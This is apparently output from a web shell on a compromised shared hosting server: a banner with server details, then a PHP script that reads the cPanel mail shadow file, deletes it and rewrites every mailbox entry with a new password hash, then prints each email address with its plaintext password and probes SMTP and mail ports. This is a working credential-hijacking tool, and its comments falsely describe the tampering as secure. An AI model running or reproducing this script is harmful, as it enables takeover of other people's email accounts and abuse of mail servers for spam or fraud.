Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0750 ]

<?php
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);

// Ports to scan for SMTP (common ones)
$ports = array(25, 587, 465, 110, 995, 143, 993);
$primary_port = '25';

// Current user
$user = get_current_user();

// Generate a secure random password (8 bytes for the example)
function generateRandomPassword($length = 12) {
    return bin2hex(random_bytes($length / 2));  // Length in characters, 1 byte = 2 hex characters
}

// Generate the random password
$password = generateRandomPassword();

// Encrypt the password using the crypt() function (with bcrypt hashing)
$pwd = crypt($password, '$6$vvebos$');

// Get server hostname
$t = $_SERVER['SERVER_NAME'];
$t = @str_replace("www.", "", $t);

// Attempt to read password file (shadow file in this example)
@$passwd = file_get_contents('/home/' . $user . '/etc/' . $t . '/shadow');
$ex = explode("\r\n", $passwd);

// Backup shadow file before modifying (make sure you have permission)
@link('/home/' . $user . '/etc/' . $t . '/shadow', '/home/' . $user . '/etc/' . $t . '/shadow.vvebos.bak');

// Delete the shadow file (potential risk, be cautious)
@unlink('/home/' . $user . '/etc/' . $t . '/shadow');

// Replace password hashes (securely modifying user data)
foreach ($ex as $ex) {
    $ex = explode(':', $ex);
    $e = $ex[0];
    if ($e) {
        $b = fopen('/home/' . $user . '/etc/' . $t . '/shadow', 'ab');
        fwrite($b, $e . ':' . $pwd . ':16249:::::' . "\r\n");
        fclose($b);
        echo '<span style="color:#00ff00;">' . $t . '|25|' . $e . '@' . $t . '|' . $password . '</span><br>';
    }
}

// Scan SMTP ports and show open ones
foreach ($ports as $port) {
    $connection = @fsockopen($t, $port, $errno, $errstr, 2);
    if (is_resource($connection)) {
        echo '<h2>' . $t . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
        fclose($connection);
    }
}
?>